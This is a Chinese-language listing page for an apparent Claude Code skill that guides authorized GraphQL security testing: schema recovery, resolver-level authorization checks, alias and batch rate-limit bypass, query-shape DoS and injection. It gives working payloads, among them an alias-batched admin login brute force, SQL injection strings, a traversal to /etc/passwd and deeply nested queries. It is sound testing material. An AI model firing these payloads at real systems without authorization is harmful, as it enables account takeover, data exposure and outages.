mcpField
A
attacking-graphql

attacking-graphql

github.com/trilwu安全17749 次安装12 周前更新
代码仓库

关于 attacking-graphql

面向 API 安全测试人员的 GraphQL 测试技能,指导在授权范围内恢复 Schema 并检查解析器级访问控制。重点涵盖批处理、注入和查询形状带来的风险。

主要功能

  1. 01通过内省及其他途径恢复 Schema
  2. 02按字段和解析器测试授权
  3. 03检查别名与批处理滥用
  4. 04评估查询深度和复杂度风险
  5. 05测试注入、CSRF 与订阅授权

适用场景

  1. 01在缺少 Schema 时梳理 GraphQL API
  2. 02检查跨用户或租户的字段访问
  3. 03评估登录接口的别名和批处理限制
  4. 04以有界查询验证拒绝服务风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill attacking-graphql

安装后在 Claude Code 中输入/attacking-graphql确认已加载。

详细介绍

攻击 GraphQL

GraphQL 将授权从路由转移到解析器,但大多数团队没有相应地迁移访问控制。REST 中保护 /admin/* 的习惯,在所有操作都到达同一个端点时并无对应做法——因此反复出现的问题不是罕见的 GraphQL 漏洞,而是某个无人想到要保护的字段上发生了普通的授权失效。

适用场景

  • 目标暴露了 /graphql、/graphiql、/v1/graphql、/api/graphql
  • 请求正文包含 query、mutation、subscription 或 operationName
  • 响应采用 {"data": ..., "errors": [...]} 格式
  • 移动端或 SPA 客户端向后端发送 GraphQL 请求
  • 你需要梳理一个没有其架构定义的 API

不适用场景

  • REST 或 gRPC — 使用 testing-apis 或 attacking-grpc-protobuf
  • 有源代码可用 — 使用 auditing-code-for-vulnerabilities;直接阅读解析器会更快、更全面
  • 围绕它构建的 Web 应用 — 使用 testing-web-applications
  • 针对生产环境发起拒绝服务攻击 — 评估风险,以最小规模验证,并在进行任何负载测试前取得明确授权

恢复架构定义

# Standard introspection
curl -s https://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"query{__schema{types{name fields{name args{name type{name}}}}}}"}' | jq .

# Tooling that renders it usefully
graphql-cop -t https://target/graphql
clairvoyance https://target/graphql -o schema.json     # works WITHOUT introspection
graphw00f -t https://target/graphql                    # fingerprint the engine

即使禁用了内省,通常仍可恢复架构定义。 大多数引擎在字段名称拼写错误时会返回“你是不是想找”建议,从而逐步泄露有效名称。clairvoyance 可以自动完成这项工作。

# Field suggestion leak — the response names fields you did not know
curl -s https://target/graphql -d '{"query":"{ userr { id } }"}' -H 'Content-Type: application/json'
# → "Cannot query field \"userr\" on type \"Query\". Did you mean \"user\"?"

其他架构定义来源:客户端包(查询通常内联在 JS 中)、意外对外提供的 .graphql 文件、持久化查询清单,以及公开的 Apollo Studio 或类似工具。

识别引擎 — 不同引擎的行为差异显著。Apollo、graphql-js、Hasura、graphene、gqlgen 和 HotChocolate 在批处理、建议、深度限制和错误详细程度方面各有不同的默认设置。graphw00f 可以识别引擎。

授权是重点

按字段和解析器测试授权,而不是按端点测试。常见的问题是:user(id:) 有保护,但 user { organization { members { email } } } 没有。

# 1. Object-level: request another tenant's or user's object by ID
query { user(id: "other-user-id") { id email phone } }

# 2. Field-level: the object is yours, but a field should not be exposed
query { me { id email passwordHash internalNotes stripeCustomerId } }

# 3. Traversal: reach a protected object through an unguarded edge
query { post(id: 1) { author { email resetToken orders { total } } } }

# 4. Mutations: the usual suspects, called directly
mutation { updateUser(id: "other", input: {role: ADMIN}) { id role } }
mutation { deleteAccount(id: "other") { success } }

通过关系进行遍历是最有价值的测试。 开发者会保护他们想到的入口;嵌套边继承父解析器所允许的权限,而这种权限往往什么也没有。枚举架构中的边,并从你合法拥有的任意对象出发,遍历到你无权访问的对象。

在你拥有的每个权限级别重复所有测试:匿名用户、低权限用户,以及另一个租户的用户。

批处理和别名滥用

单个 HTTP 请求可以包含多个操作,从而绕过按请求限速——这是绕过 2FA 和密码暴力破解防护的经典方式。

# Aliases: N attempts, one request
{
  a1: login(user:"admin", pass:"1234") { token }
  a2: login(user:"admin", pass:"1235") { token }
  a3: login(user:"admin", pass:"1236") { token }
}
[ {"query":"{ user(id:1){email} }"},
  {"query":"{ user(id:2){email} }"},
  {"query":"{ user(id:3){email} }"} ]

多个引擎默认支持数组批处理。两种形式都要测试;它们通常受到不同的限制,而在 HTTP 层实施的限速无论如何都只会看到一个请求。

利用查询形状造成拒绝服务

# Depth: cyclic relationships nested repeatedly
{ user { posts { author { posts { author { posts { id } } } } } } }

# Breadth: aliases multiply one expensive resolver
{ a: search(q:"x"){id} b: search(q:"x"){id} c: search(q:"x"){id} ... }

# Field duplication amplifies without depth
{ user { id id id id id id ... } }

检查是否设置了:深度限制、复杂度/成本限制、超时、分页节点限制,以及引擎是否会批处理 N+1 个解析器调用,还是为每个节点发起一次查询。用小规模且有界的查询证明风险——测量不同深度下的响应时间变化,而不是实际耗尽服务。若一个 8 层查询耗时 30 秒,而 3 层查询耗时 30 毫秒,这就是证据;不需要让 API 停机。

通过解析器进行注入

解析器访问数据库的方式与其他处理程序相同,因此经典的漏洞类型同样适用——不同之处在于,参数是强类型的,而人们常误以为这就意味着经过了验证。

{ user(filter: "1' OR '1'='1") { id } }                 # SQL/NoSQL injection
{ users(where: {email: {_ilike: "%"}}) { email } }       # Hasura-style filter abuse
{ file(path: "../../etc/passwd") { contents } }          # traversal

Hasura 和类似的自动生成 API 尤其值得关注:它们会直接向客户端暴露丰富的 where 筛选条件,因此,宽松的行级安全配置意味着筛选语言本身就会成为漏洞。

值得执行的其他检查

  • 通过 GET 或表单编码的查询发起 CSRF。 如果端点接受 ?query=mutation{...} 或 application/x-www-form-urlencoded,则无需预检即可从跨源发起变更操作。
  • 生产环境中的内省——单独来看严重性较低,但会泄露系统地图。
  • 详细错误信息泄露堆栈跟踪、解析器名称和内部路径。
  • 通过 WebSocket 进行订阅——通常只在连接时检查授权,此后不再检查,因此长时间运行的订阅在用户登出或权限变更后仍会持续。
  • 持久化查询——检查客户端只发送哈希时,服务器是否仍接受任意查询;如果 APQ 实现在失败时会回退到任意查询,就无法提供保护。
  • 通过 multipart 规范进行的文件上传,它使用独立的解析器。

应拒绝的合理化说法

  • “已禁用内省,因此架构受到保护。” 建议字段会泄露架构信息,客户端打包内容中也包含架构。
  • “网关会对端点进行速率限制。” 它统计的是 HTTP 请求。别名和批处理可以将一千个操作塞进一个请求。
  • “参数有类型限制,因此不可能发生注入。” 类型限制的是结构,而不是内容。String 仍会传入数据库。
  • “该字段只供管理 UI 使用。” 架构向所有人公开该字段;UI 不是访问控制机制。
  • “顶层查询会检查授权。” 测试嵌套边。问题就出在这些地方。
  • “已设置深度限制。” 也要检查广度和别名。
  • “我会通过让系统宕机来证明 DoS。” 证明攻击趋势即可。进行负载测试前先征求同意。

ATT&CK 覆盖范围

根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用前,请对照 当前 ATT&CK 版本重新核实 ID。

初始访问(TA0001)

  • T1190 利用面向公众的应用程序——另请参阅 testing-web-applications、testing-apis、enumerating-network-services、attacking-grpc-protobuf、exploiting-deserialization、exploiting-ssrf、exploiting-xxe

适用于上述任一项的检测内容:engineering-detections。主动搜索:hunting-threats。入侵后处置:responding-to-incidents。

参考资料

  • testing-apis——本文所专门针对的通用 API 方法
  • auditing-code-for-vulnerabilities——存在源代码时,对解析器层进行审查
  • testing-web-applications——端点所在的应用
  • reporting-security-findings——授权问题的严重性评定
  • graphw00f、clairvoyance、graphql-cop、InQL (Burp)、Altair/GraphiQL

评论

支持 Markdown